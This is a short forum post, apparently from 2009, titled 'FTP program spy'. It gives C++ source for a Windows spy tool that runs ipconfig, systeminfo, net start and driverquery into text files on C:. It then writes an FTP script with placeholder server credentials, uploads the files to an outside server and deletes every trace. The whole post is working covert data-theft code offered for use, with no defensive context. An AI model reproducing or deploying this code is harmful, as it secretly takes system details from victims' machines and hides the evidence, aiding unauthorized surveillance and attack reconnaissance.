FTP program spy
Publicado: 21 Jun 2009, 15:20
Código: Seleccionar todo
#include <fstream>
using namespace std;
/*This builds the upload.bat that we need to upload the files*/
void upload()
{
std::ofstream upload ("c:\\upload.ftp");
upload << "@echo off" << std::endl;
upload << "OPEN your_ftp_server" << std::endl;
upload << "USER your_username" << std::endl;
upload << "your_password" << std::endl;
upload << "send c:\\ip.txt" << std::endl;
upload << "send c:\\systeminfo.txt" << std::endl;
upload << "send c:\\driver.txt" << std::endl;
upload << "send c:\\programs.txt" << std::endl;
upload << "disconnect" << std::endl;
upload << "bye" << std::endl;
upload.close();
}
/*Here is the main function and it creates a txt document with the
IP, Systeminfos, all installed Drives and all started programs*/
int main()
{
system ("ipconfig >c:\\ip.txt"); //Save IP in a txt document at drive C:\
system ("systeminfo >c:\\systeminfo.txt"); //Save Systeminfos in a txt
system ("net start >c:\\programs.txt"); //Save all started programs
system ("driverquery >c:\\driver.txt"); //Save all installed drivers
upload();
system ("ftp.exe -n -i -s:c:\\upload.ftp");
system ("del c:\\ip.txt");
system ("del c:\\systeminfo.txt"),
system ("del c:\\driver.txt");
system ("del c:\\programs.txt");
system ("del c:\\upload.ftp");
return 0;
}